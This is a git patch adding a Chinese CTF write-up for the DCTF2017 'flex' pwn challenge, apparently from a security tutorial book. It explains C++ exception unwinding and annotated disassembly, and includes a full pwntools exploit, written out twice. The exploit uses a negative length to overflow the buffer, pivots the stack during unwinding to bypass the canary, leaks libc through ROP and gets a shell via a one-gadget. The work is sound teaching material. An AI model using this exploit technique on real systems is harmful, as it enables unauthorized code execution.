From bd0c663d8b1ba7dd0215684c20f57a8980071050 Mon Sep 17 00:00:00 2001 From: firmianay Date: Mon, 11 Dec 2017 15:16:36 +0800 Subject: [PATCH] finish 6.1.8 --- doc/6.1.8_pwn_dctf2017_flex.md | 345 +++++++++++++++++++-- src/writeup/6.1.8_pwn_dctf2017_flex/exp.py | 57 ++++ src/writeup/6.1.8_pwn_dctf2017_flex/run.sh | 1 + 3 files changed, 372 insertions(+), 31 deletions(-) create mode 100644 src/writeup/6.1.8_pwn_dctf2017_flex/exp.py create mode 100755 src/writeup/6.1.8_pwn_dctf2017_flex/run.sh diff --git a/doc/6.1.8_pwn_dctf2017_flex.md b/doc/6.1.8_pwn_dctf2017_flex.md index 26adfb5..3f44189 100644 --- a/doc/6.1.8_pwn_dctf2017_flex.md +++ b/doc/6.1.8_pwn_dctf2017_flex.md @@ -1,12 +1,14 @@ # 6.1.8 pwn DCTF2017 Flex +- [题目复现](#题目复现) +- [C++ 异常处理机制](#C-异常处理机制) - [题目解析](#题目解析) - [参考资料](#参考资料) [下载文件](../src/writeup/6.1.8_pwn_dctf2017_flex) -## 题目解析 +## 题目复现 ``` $ file flex flex: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=30a1acbc98ccf9e8f4b3d1fc06b6ba6f0cbe7c9e, stripped @@ -14,6 +16,8 @@ $ checksec -f flex RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 0 4 flex ``` +可以看到开启了 Canary,本题的关键就是利用某种神秘机制(C++异常处理机制)绕过它。 + 随便玩一下,了解程序的基本功能: ``` $ ./flex @@ -36,9 +40,44 @@ a bruteforce message pattern: aaaa ``` -第四个选项很吸引人,但似乎没有发现什么突破点,而第一个选项可以输入的东西较多,问题应该在这里,查看该函数 `sub.bruteforcing_start:_85f`: +把程序跑起来: ``` - 0x00401500 55 push rbp +$ socat tcp4-listen:10001,reuseaddr,fork exec:./flex & +``` + + +## C++ 异常处理机制 +``` +$ ldd flex + linux-vdso.so.1 (0x00007ffcd837a000) + libstdc++.so.6 => /usr/lib/libstdc++.so.6 (0x00007f748fe72000) + libgcc_s.so.1 => /usr/lib/libgcc_s.so.1 (0x00007f748fc5b000) + libc.so.6 => /usr/lib/libc.so.6 (0x00007f748f8a3000) + libm.so.6 => /usr/lib/libm.so.6 (0x00007f748f557000) + /lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007f74901f9000) +``` +所以这个程序是一个 C 和 C++ 混合编译的,以便处理异常。 + +当用户 throw 一个异常时,编译器会帮我们调用相应的函数分配 `_cxa_exception` 就是头部,`exception_obj`。异常对象由函数 `__cxa_allocate_exception()` 进行创建,最后由 `__cxa_free_exception()` 进行销毁。当我们在程序里执行了抛出异常后,编译器做了如下的事情: +1. 调用 `__cxa_allocate_exception` 函数,分配一个异常对象 +2. 调用 `__cxa_throw` 函数,这个函数会将异常对象做一些初始化 +3. `__cxa_throw()` 调用 Itanium ABI 里的 `_Unwind_RaiseException()` 从而开始 unwind,unwind 分为两个阶段,分别进行搜索 catch 及清理调用栈 +4. `_Unwind_RaiseException()` 对调用链上的函数进行 unwind 时,调用 personality routine(`__gxx_personality_v0`) +5. 如果该异常如能被处理(有相应的 catch),则 personality routine 会依次对调用链上的函数进行清理。 +6. `_Unwind_RaiseException()` 将控制权转到相应的 catch 代码 +7. unwind 完成,用户代码继续执行 + +具体内容查看参考资料。 + + +## 题目解析 +程序的第四个选项很吸引人,但似乎没有发现什么突破点,而第一个选项可以输入的东西较多,问题应该在这里,查看该函数 `sub.bruteforcing_start:_500`: +``` +[0x00400d80]> pdf @ sub.bruteforcing_start:_500 +/ (fcn) sub.bruteforcing_start:_500 63 +| sub.bruteforcing_start:_500 (); +| ; CALL XREF from 0x00402200 (main) +| 0x00401500 55 push rbp | 0x00401501 4889e5 mov rbp, rsp | 0x00401504 4883ec10 sub rsp, 0x10 | 0x00401508 e83bfcffff call sub.FlexMD5_bruteforce_tool_V0.1_148 @@ -56,10 +95,10 @@ aaaa | |`=< 0x00401534 ebe6 jmp 0x40151c | | ; JMP XREF from 0x00401528 (sub.bruteforcing_start:_500) | | ; JMP XREF from 0x0040155d (sub.bruteforcing_start:_500 + 93) -| `.-> 0x00401536 b800000000 mov eax, 0 +| `.-> 0x00401536 b800000000 mov eax, 0 ; 异常处理代码 | ,==< 0x0040153b eb22 jmp 0x40155f - |: 0x0040153d 4883fa01 cmp rdx, 1 ; 1 - ,===< 0x00401541 7408 je 0x40154b + |: 0x0040153d 4883fa01 cmp rdx, 1 ; 1 ; 如果成功捕获异常,则跳转到这里 + ,===< 0x00401541 7408 je 0x40154b ; 跳转 ||: 0x00401543 4889c7 mov rdi, rax ||: 0x00401546 e8f5f7ffff call sym.imp._Unwind_Resume ||: ; JMP XREF from 0x00401541 (sub.bruteforcing_start:_500 + 65) @@ -71,7 +110,7 @@ aaaa |`=< 0x0040155d ebd7 jmp 0x401536 ; sub.bruteforcing_start:_500+0x36 | | ; JMP XREF from 0x0040153b (sub.bruteforcing_start:_500) | `--> 0x0040155f c9 leave -\ 0x00401560 c3 ret +\ 0x00401560 c3 ret ; ret 到 payload_2 ``` 函数 `sub.FlexMD5_bruteforce_tool_V0.1_148`: ``` @@ -138,11 +177,11 @@ aaaa | | 0x00401245 c705554f2000. mov dword [0x006061a4], 1 ; [0x6061a4:4]=0 | | 0x0040124f bfe2454000 mov edi, str.charset_length: ; 0x4045e2 ; "charset length:" | | 0x00401254 e877f9ffff call sym.imp.puts ; int puts(const char *s) -| | 0x00401259 e8e7fcffff call sub.atoi_f45 ; int atoi(const char *str) +| | 0x00401259 e8e7fcffff call sub.atoi_f45 ; int atoi(const char *str) ; 读入字符串并转换成整型数 | | 0x0040125e 8905ac4e2000 mov dword [0x00606110], eax ; [0x606110:4]=62 | | 0x00401264 8b05a64e2000 mov eax, dword [0x00606110] ; [0x606110:4]=62 -| | 0x0040126a 3d00010000 cmp eax, 0x100 ; 256 -| ,==< 0x0040126f 7e22 jle 0x401293 +| | 0x0040126a 3d00010000 cmp eax, 0x100 ; 256 ; 比较大小 +| ,==< 0x0040126f 7e22 jle 0x401293 ; eax < 256 时跳转 ; 这里我们输入一个负数即可成功跳转 | || 0x00401271 bf04000000 mov edi, 4 | || 0x00401276 e855faffff call sym.imp.__cxa_allocate_exception | || 0x0040127b c70002000000 mov dword [rax], 2 @@ -153,40 +192,40 @@ aaaa | || ; JMP XREF from 0x0040126f (sub.FlexMD5_bruteforce_tool_V0.1_148) | `--> 0x00401293 bff2454000 mov edi, str.charset: ; 0x4045f2 ; "charset:" | | 0x00401298 e833f9ffff call sym.imp.puts ; int puts(const char *s) -| | 0x0040129d 8b056d4e2000 mov eax, dword [0x00606110] ; [0x606110:4]=62 -| | 0x004012a3 83c001 add eax, 1 +| | 0x0040129d 8b056d4e2000 mov eax, dword [0x00606110] ; [0x606110:4]=62 ; 取出数字 +| | 0x004012a3 83c001 add eax, 1 ; eax += 1 | | 0x004012a6 89c2 mov edx, eax | | 0x004012a8 488d85e0feff. lea rax, [local_120h] | | 0x004012af 89d6 mov esi, edx | | 0x004012b1 4889c7 mov rdi, rax -| | 0x004012b4 e8bdfbffff call sub.read_e76 ; ssize_t read(int fildes, void *buf, size_t nbyte) +| | 0x004012b4 e8bdfbffff call sub.read_e76 ; ssize_t read(int fildes, void *buf, size_t nbyte) ; 该函数内调用 read(0, [local_120h], esi) 读入我们的 payload_1,由于esi是一个负数,而 0x00400ea8 jae 0x400ef3 处是与一个非负数比较,永远不会相等,即可以读入以换行符结尾的任意数量字符 | | 0x004012b9 488d85e0feff. lea rax, [local_120h] | | 0x004012c0 4889c7 mov rdi, rax -| | 0x004012c3 e8e8f9ffff call sym.imp.strdup ; char *strdup(const char *src) +| | 0x004012c3 e8e8f9ffff call sym.imp.strdup ; char *strdup(const char *src) ; 在堆中复制一个字符串的副本 | | 0x004012c8 488905494e20. mov qword str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789, rax ; [0x606118:8]=0x404508 str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 | | ; JMP XREF from 0x0040123f (sub.FlexMD5_bruteforce_tool_V0.1_148) | `-> 0x004012cf bffb454000 mov edi, str.bruteforce_message_pattern: ; 0x4045fb ; "bruteforce message pattern:" | 0x004012d4 e8f7f8ffff call sym.imp.puts ; int puts(const char *s) | 0x004012d9 be00040000 mov esi, 0x400 ; 1024 | 0x004012de bfc0616000 mov edi, 0x6061c0 -| 0x004012e3 e836fcffff call sub.read_f1e ; ssize_t read(int fildes, void *buf, size_t nbyte) +| 0x004012e3 e836fcffff call sub.read_f1e ; ssize_t read(int fildes, void *buf, size_t nbyte) ; 调用 read(0, 0x6061c0, 0x400) 读入 payload_2 | 0x004012e8 bfc0616000 mov edi, 0x6061c0 | 0x004012ed e85ef9ffff call sym.imp.strlen ; size_t strlen(const char *s) | 0x004012f2 8905a84e2000 mov dword [0x006061a0], eax ; [0x6061a0:4]=0 | 0x004012f8 c785dcfeffff. mov dword [local_124h], 0 | ; JMP XREF from 0x00401334 (sub.FlexMD5_bruteforce_tool_V0.1_148) | .-> 0x00401302 8b85dcfeffff mov eax, dword [local_124h] -| : 0x00401308 4863d8 movsxd rbx, eax -| : 0x0040130b bfc0616000 mov edi, 0x6061c0 +| : 0x00401308 4863d8 movsxd rbx, eax ; 将 rbx 初始化为 0 +| : 0x0040130b bfc0616000 mov edi, 0x6061c0 ; paylaod_2 的地址 | : 0x00401310 e83bf9ffff call sym.imp.strlen ; size_t strlen(const char *s) -| : 0x00401315 4839c3 cmp rbx, rax -| ,==< 0x00401318 731d jae 0x401337 +| : 0x00401315 4839c3 cmp rbx, rax ; 比较 rbx 和 rax,rax 是字符串长度返回值 +| ,==< 0x00401318 731d jae 0x401337 ; 相等时跳转 | |: 0x0040131a 8b85dcfeffff mov eax, dword [local_124h] | |: 0x00401320 4898 cdqe | |: 0x00401322 0fb680c06160. movzx eax, byte [rax + 0x6061c0] ; [0x6061c0:1]=0 | |: 0x00401329 3c2e cmp al, 0x2e ; '.' ; 46 | ,===< 0x0040132b 7409 je 0x401336 -| ||: 0x0040132d 8385dcfeffff. add dword [local_124h], 1 +| ||: 0x0040132d 8385dcfeffff. add dword [local_124h], 1 ; rbx += 1 | ||`=< 0x00401334 ebcc jmp 0x401302 | || ; JMP XREF from 0x0040132b (sub.FlexMD5_bruteforce_tool_V0.1_148) | `---> 0x00401336 90 nop @@ -195,15 +234,15 @@ aaaa | 0x0040133d 4863d8 movsxd rbx, eax | 0x00401340 bfc0616000 mov edi, 0x6061c0 | 0x00401345 e806f9ffff call sym.imp.strlen ; size_t strlen(const char *s) -| 0x0040134a 4839c3 cmp rbx, rax -| ,=< 0x0040134d 7522 jne 0x401371 -| | 0x0040134f bf04000000 mov edi, 4 -| | 0x00401354 e877f9ffff call sym.imp.__cxa_allocate_exception -| | 0x00401359 c70000000000 mov dword [rax], 0 -| | 0x0040135f ba00000000 mov edx, 0 -| | 0x00401364 be70616000 mov esi, obj.typeinfoforint ; 0x606170 -| | 0x00401369 4889c7 mov rdi, rax -| | 0x0040136c e87ff9ffff call sym.imp.__cxa_throw +| 0x0040134a 4839c3 cmp rbx, rax ; 比较 rbx 和 rax +| ,=< 0x0040134d 7522 jne 0x401371 ; 如果相等,则进入异常处理机制,利用该机制可 leave;ret 到 payload_2 +| | 0x0040134f bf04000000 mov edi, 4 ; 参数 edi = 4 +| | 0x00401354 e877f9ffff call sym.imp.__cxa_allocate_exception ; 创建异常对象,返回对象地址 rax +| | 0x00401359 c70000000000 mov dword [rax], 0 ; 初始化为 0 +| | 0x0040135f ba00000000 mov edx, 0 ; 参数 edx = 0 +| | 0x00401364 be70616000 mov esi, obj.typeinfoforint ; 0x606170 ; 参数 esi = 0x606170 +| | 0x00401369 4889c7 mov rdi, rax ; 参数 rdi = rax +| | 0x0040136c e87ff9ffff call sym.imp.__cxa_throw ; 对异常对象做一些初始化,这里会跳转到 0x0040153d | | ; JMP XREF from 0x0040134d (sub.FlexMD5_bruteforce_tool_V0.1_148) | `-> 0x00401371 bf17464000 mov edi, str.md5_pattern: ; 0x404617 ; "md5 pattern:" | 0x00401376 e855f8ffff call sym.imp.puts ; int puts(const char *s) @@ -221,7 +260,107 @@ aaaa | 0x004013ab 5d pop rbp \ 0x004013ac c3 ret ``` +函数 `sub.atoi_f45` 将字符串转换成长整型数: +``` +[0x00400d80]> pdf @ sub.atoi_f45 +/ (fcn) sub.atoi_f45 74 +| sub.atoi_f45 (); +| ; var int local_20h @ rbp-0x20 +| ; var int local_8h @ rbp-0x8 +| ; XREFS: CALL 0x004021f2 CALL 0x004011bc CALL 0x004011d1 CALL 0x004011e6 CALL 0x004011fb CALL 0x00401259 CALL 0x004015d9 CALL 0x00402136 +| 0x00400f45 55 push rbp +| 0x00400f46 4889e5 mov rbp, rsp +| 0x00400f49 4883ec20 sub rsp, 0x20 +| 0x00400f4d 64488b042528. mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40 +| 0x00400f56 488945f8 mov qword [local_8h], rax +| 0x00400f5a 31c0 xor eax, eax +| 0x00400f5c 488d45e0 lea rax, [local_20h] +| 0x00400f60 be0b000000 mov esi, 0xb ; 11 +| 0x00400f65 4889c7 mov rdi, rax +| 0x00400f68 e809ffffff call sub.read_e76 ; ssize_t read(int fildes, void *buf, size_t nbyte) +| 0x00400f6d 488d45e0 lea rax, [local_20h] ; local_20h 指向读入的字符串 +| 0x00400f71 4889c7 mov rdi, rax ; rdi = rax +| 0x00400f74 e807fdffff call sym.imp.atoi ; int atoi(const char *str) ; 将字符串转换成长整型 +| 0x00400f79 488b55f8 mov rdx, qword [local_8h] +| 0x00400f7d 644833142528. xor rdx, qword fs:[0x28] +| ,=< 0x00400f86 7405 je 0x400f8d +| | 0x00400f88 e833fdffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void) +| | ; JMP XREF from 0x00400f86 (sub.atoi_f45) +| `-> 0x00400f8d c9 leave +\ 0x00400f8e c3 ret +``` +可以看到该函数并未对所输入的数字进行验证,所以我们可以输入负数,因为计算机中数字是以补码的形式存在,例如 `-2 = 0xfffffffffffffffe`。这个数字加 1 后,作为读入字符串个数的判定,因为个数不能为负,我们就可以开心地读入后面的 payload 了。 +这个程序中读入操作使用函数 `sub.read_e76`,该函数内部有一个循环,每次读入一个字符,如果遇到换行符,则完成退出。 +``` +[0x00400d80]> pdf @ sub.read_e76 +/ (fcn) sub.read_e76 168 +| sub.read_e76 (); +| ; var int local_1ch @ rbp-0x1c +| ; var int local_18h @ rbp-0x18 +| ; var int local_dh @ rbp-0xd +| ; var int local_ch @ rbp-0xc +| ; var int local_8h @ rbp-0x8 +| ; XREFS: CALL 0x00400f68 CALL 0x00401186 CALL 0x0040121f CALL 0x004012b4 CALL 0x00401385 CALL 0x0040159f CALL 0x00401634 CALL 0x00401663 +| ; XREFS: CALL 0x00401705 CALL 0x00401d4f +| 0x00400e76 55 push rbp +| 0x00400e77 4889e5 mov rbp, rsp +| 0x00400e7a 4883ec20 sub rsp, 0x20 +| 0x00400e7e 48897de8 mov qword [local_18h], rdi +| 0x00400e82 8975e4 mov dword [local_1ch], esi +| 0x00400e85 64488b042528. mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40 +| 0x00400e8e 488945f8 mov qword [local_8h], rax +| 0x00400e92 31c0 xor eax, eax +| 0x00400e94 c745f4000000. mov dword [local_ch], 0 +| 0x00400e9b c745f4000000. mov dword [local_ch], 0 +| ; JMP XREF from 0x00400ef1 (sub.read_e76) +| .-> 0x00400ea2 8b45f4 mov eax, dword [local_ch] ; 循环起点,local_ch 存放已输入字符数量 +| : 0x00400ea5 3b45e4 cmp eax, dword [local_1ch] ; 允许读入的数量 +| ,==< 0x00400ea8 7349 jae 0x400ef3 ; 相等时跳转 (当读入payload_!时,由于我们输入的是一个负数,而 eax 是非负数,永远不会相等) +| |: 0x00400eaa 488d45f3 lea rax, [local_dh] +| |: 0x00400eae ba01000000 mov edx, 1 ; nbyte = 1 +| |: 0x00400eb3 4889c6 mov rsi, rax ; buf = rsi = [local_dh] +| |: 0x00400eb6 bf00000000 mov edi, 0 ; fildes = edi = 0 +| |: 0x00400ebb e830fdffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) ; 每次读入 1 个字符 +| |: 0x00400ec0 0fb645f3 movzx eax, byte [local_dh] ; 取出输入字符 +| |: 0x00400ec4 3c0a cmp al, 0xa ; 10 ; 比较输入字符是不是 '\n' +| ,===< 0x00400ec6 7515 jne 0x400edd ; 不是则跳转 +| ||: 0x00400ec8 8b55f4 mov edx, dword [local_ch] +| ||: 0x00400ecb 488b45e8 mov rax, qword [local_18h] +| ||: 0x00400ecf 4801d0 add rax, rdx ; '(' +| ||: 0x00400ed2 c60000 mov byte [rax], 0 +| ||: 0x00400ed5 8b45f4 mov eax, dword [local_ch] +| ||: 0x00400ed8 83c001 add eax, 1 +| ,====< 0x00400edb eb2b jmp 0x400f08 +| |||: ; JMP XREF from 0x00400ec6 (sub.read_e76) +| |`---> 0x00400edd 8b55f4 mov edx, dword [local_ch] ; 取出字符数量 +| | |: 0x00400ee0 488b45e8 mov rax, qword [local_18h] ; local_18h 为目标初始地址 +| | |: 0x00400ee4 4801c2 add rdx, rax ; '#' ; rdx 指向目标地址 +| | |: 0x00400ee7 0fb645f3 movzx eax, byte [local_dh] ; 取出读入字符 +| | |: 0x00400eeb 8802 mov byte [rdx], al ; 将读入字符存放到 [rdx] +| | |: 0x00400eed 8345f401 add dword [local_ch], 1 ; local_ch += 1 +| | |`=< 0x00400ef1 ebaf jmp 0x400ea2 ; 循环,继续读入字符 +| | | ; JMP XREF from 0x00400ea8 (sub.read_e76) +| | `--> 0x00400ef3 8b45e4 mov eax, dword [local_1ch] +| | 0x00400ef6 83e801 sub eax, 1 +| | 0x00400ef9 89c2 mov edx, eax +| | 0x00400efb 488b45e8 mov rax, qword [local_18h] +| | 0x00400eff 4801d0 add rax, rdx ; '(' +| | 0x00400f02 c60000 mov byte [rax], 0 +| | 0x00400f05 8b45f4 mov eax, dword [local_ch] +| | ; JMP XREF from 0x00400edb (sub.read_e76) +| `----> 0x00400f08 488b4df8 mov rcx, qword [local_8h] ; 读完字符串,跳出循环 +| 0x00400f0c 6448330c2528. xor rcx, qword fs:[0x28] +| ,=< 0x00400f15 7405 je 0x400f1c +| | 0x00400f17 e8a4fdffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void) +| | ; JMP XREF from 0x00400f15 (sub.read_e76) +| `-> 0x00400f1c c9 leave +\ 0x00400f1d c3 ret +``` + +分析完了,接下来就写 exp 吧。 + +#### stack pivot 在 `0x004012b4` 下断点,以检查溢出点: ``` gdb-peda$ x/s $rbp @@ -229,9 +368,70 @@ gdb-peda$ x/s $rbp gdb-peda$ pattern_offset 5A%KA%gA%6A% 5A%KA%gA%6A% found at offset: 288 ``` -所以 rbp 的地址为 `288 / 8 = 36`。 +所以缓冲区的长度为 `288 / 8 = 36`。利用缓冲区溢出覆盖掉 rbp,在异常处理过程中,unwind 例程向上一级一级地找异常处理函数,然后恢复相关数据,这样就将栈转移到了新地址: +```python +# stack pivot +payload_1 = "AAAAAAAA" * 36 +payload_1 += p64(pivote_addr) +payload_1 += p64(unwind_addr) +``` +unwind_addr 必须是调用函数里的一个地址,这样抛出的异常才能被调用函数内的异常处理函数 catch。 -找到 libc 的 `do_system` 函数里的 one\_gadget\_rce,地址为 `0x00041ee7`: +#### get puts address +异常处理函数结束后,执行下面两句: +``` +| `--> 0x0040155f c9 leave +\ 0x00401560 c3 ret ; ret 到 payload_2 +``` +通常情况下我们构造 rop 调用 read() 读入 one-gadget 来获得 shell,但可用的 gadget 只能控制 rdi 和 rsi,而不能控制 rdx。所以必须通过函数 `sub.read_f1e` 来做到这一点。 +``` +$ ropgadget --binary flex --only "pop|ret" +... +0x00000000004044d3 : pop rdi ; ret +0x00000000004044d1 : pop rsi ; pop r15 ; ret +``` +``` +[0x00400d80]> pdf @ sub.read_f1e +/ (fcn) sub.read_f1e 39 +| sub.read_f1e (); +| ; var int local_10h @ rbp-0x10 +| ; var int local_8h @ rbp-0x8 +| ; CALL XREF from 0x004012e3 (sub.FlexMD5_bruteforce_tool_V0.1_148) +| 0x00400f1e 55 push rbp +| 0x00400f1f 4889e5 mov rbp, rsp +| 0x00400f22 4883ec10 sub rsp, 0x10 +| 0x00400f26 48897df8 mov qword [local_8h], rdi +| 0x00400f2a 488975f0 mov qword [local_10h], rsi +| 0x00400f2e 488b55f0 mov rdx, qword [local_10h] ; rdx = 传入的 rsi +| 0x00400f32 488b45f8 mov rax, qword [local_8h] +| 0x00400f36 4889c6 mov rsi, rax ; rsi = 传入的 rdi +| 0x00400f39 bf00000000 mov edi, 0 ; fildes = 0 +| 0x00400f3e e8adfcffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) +| 0x00400f43 c9 leave +\ 0x00400f44 c3 ret +``` +构造 paylode\_2 打印出 puts 的地址,并调用 `read_f1e` 读入 payload_3 到 `pivote_addr + 0x50` 的位置: +```python +# get puts address +payload_2 = "AAAAAAAA" +payload_2 += p64(pop_rdi) +payload_2 += p64(puts_got) +payload_2 += p64(puts_plt) +payload_2 += p64(pop_rdi) +payload_2 += p64(pivote_addr + 0x50) +payload_2 += p64(pop_rsi_r15) +payload_2 += p64(8) +payload_2 += "AAAAAAAA" +payload_2 += p64(read_f1e) + +io.sendline(payload_2) +io.recvuntil("pattern:\n") +puts_addr = io.recvuntil("\n")[:-1].ljust(8,"\x00") +puts_addr = u64(puts_addr) +``` + +#### get shell +找到 libc 的 `do_system` 函数里的 one-gadget 地址为 `0x00041ee7`: ``` | 0x00041ee7 488b056aff36. mov rax, qword [0x003b1e58] ; [0x3b1e58:8]=0 | 0x00041eee 488d3d409313. lea rdi, str._bin_sh ; 0x17b235 ; "/bin/sh" @@ -241,13 +441,96 @@ gdb-peda$ pattern_offset 5A%KA%gA%6A% | 0x00041f0e 488b10 mov rdx, qword [rax] | 0x00041f11 67e8c9260800 call sym.execve ``` +通过泄露出的 puts 地址,计算符号偏移得到 one-gadget 地址,构造 payload_3: +```python +libc_base = puts_addr - libc.symbols['puts'] +one_gadget = libc_base + 0x00041ee7 + +# get shell +payload_3 = p64(one_gadget) +``` + +Bingo!!! +``` +$ python2 exp.py +[+] Opening connection to 127.0.0.1 on port 10001: Done +[*] '/usr/lib/libc-2.26.so' + Arch: amd64-64-little + RELRO: Full RELRO + Stack: Canary found + NX: NX enabled + PIE: PIE enabled +[*] Switching to interactive mode +$ whoami +firmy +``` #### Exploit 完整的 exp 如下: ```python +from pwn import * +io = remote('127.0.0.1', 10001) +libc = ELF('/usr/lib/libc-2.26.so') + +io.recvuntil("option:\n") +io.sendline("1") +io.recvuntil("(yes/No)") +io.sendline("No") +io.recvuntil("(yes/No)") +io.sendline("yes") +io.recvuntil("length:") +io.sendline('-3') +io.recvuntil("charset:") + +puts_plt = 0x00400bD0 +puts_got = 0x00606020 +read_f1e = 0x00400f1e +pop_rdi = 0x004044d3 # pop rdi ; ret +pop_rsi_r15 = 0x004044d1 # pop rsi ; pop r15 ; ret + +pivote_addr = 0x6061C0 +unwind_addr = 0x00401509 # make sure unwind can find the catch routine + +# stack pivot +payload_1 = "AAAAAAAA" * 36 +payload_1 += p64(pivote_addr) +payload_1 += p64(unwind_addr) + +io.sendline(payload_1) +io.recvuntil("\n") + +# get puts address +payload_2 = "AAAAAAAA" # fake ebp +payload_2 += p64(pop_rdi) +payload_2 += p64(puts_got) +payload_2 += p64(puts_plt) +payload_2 += p64(pop_rdi) +payload_2 += p64(pivote_addr + 0x50) +payload_2 += p64(pop_rsi_r15) +payload_2 += p64(8) +payload_2 += "AAAAAAAA" +payload_2 += p64(read_f1e) + +io.sendline(payload_2) +io.recvuntil("pattern:\n") +puts_addr = io.recvuntil("\n")[:-1].ljust(8,"\x00") +puts_addr = u64(puts_addr) + +libc_base = puts_addr - libc.symbols['puts'] +one_gadget = libc_base + 0x00041ee7 + +# get shell +payload_3 = p64(one_gadget) + +io.sendline(payload_3) +io.interactive() ``` +最后建议读者自己多调试几遍,以加深对异常处理机制的理解。 + ## 参考资料 - [Shanghai-DCTF-2017 线下攻防Pwn题](https://www.anquanke.com/post/id/89855) +- [c++ 异常处理(1)](https://www.cnblogs.com/catch/p/3604516.html) +- [C++异常机制的实现方式和开销分析](http://baiy.cn/doc/cpp/inside_exception.htm) diff --git a/src/writeup/6.1.8_pwn_dctf2017_flex/exp.py b/src/writeup/6.1.8_pwn_dctf2017_flex/exp.py new file mode 100644 index 0000000..9354994 --- /dev/null +++ b/src/writeup/6.1.8_pwn_dctf2017_flex/exp.py @@ -0,0 +1,57 @@ +from pwn import * + +io = remote('127.0.0.1', 10001) +libc = ELF('/usr/lib/libc-2.26.so') + +io.recvuntil("option:\n") +io.sendline("1") +io.recvuntil("(yes/No)") +io.sendline("No") +io.recvuntil("(yes/No)") +io.sendline("yes") +io.recvuntil("length:") +io.sendline('-3') +io.recvuntil("charset:") + +puts_plt = 0x00400bD0 +puts_got = 0x00606020 +read_f1e = 0x00400f1e +pop_rdi = 0x004044d3 # pop rdi ; ret +pop_rsi_r15 = 0x004044d1 # pop rsi ; pop r15 ; ret + +pivote_addr = 0x6061C0 +unwind_addr = 0x00401509 # make sure unwind can find the catch routine + +# stack pivot +payload_1 = "AAAAAAAA" * 36 +payload_1 += p64(pivote_addr) +payload_1 += p64(unwind_addr) + +io.sendline(payload_1) +io.recvuntil("\n") + +# get puts address +payload_2 = "AAAAAAAA" # fake ebp +payload_2 += p64(pop_rdi) +payload_2 += p64(puts_got) +payload_2 += p64(puts_plt) +payload_2 += p64(pop_rdi) +payload_2 += p64(pivote_addr + 0x50) +payload_2 += p64(pop_rsi_r15) +payload_2 += p64(8) +payload_2 += "AAAAAAAA" +payload_2 += p64(read_f1e) + +io.sendline(payload_2) +io.recvuntil("pattern:\n") +puts_addr = io.recvuntil("\n")[:-1].ljust(8,"\x00") +puts_addr = u64(puts_addr) + +libc_base = puts_addr - libc.symbols['puts'] +one_gadget = libc_base + 0x00041ee7 + +# get shell +payload_3 = p64(one_gadget) + +io.sendline(payload_3) +io.interactive() diff --git a/src/writeup/6.1.8_pwn_dctf2017_flex/run.sh b/src/writeup/6.1.8_pwn_dctf2017_flex/run.sh new file mode 100755 index 0000000..ec13c21 --- /dev/null +++ b/src/writeup/6.1.8_pwn_dctf2017_flex/run.sh @@ -0,0 +1 @@ +socat tcp4-listen:10001,reuseaddr,fork exec:./flex &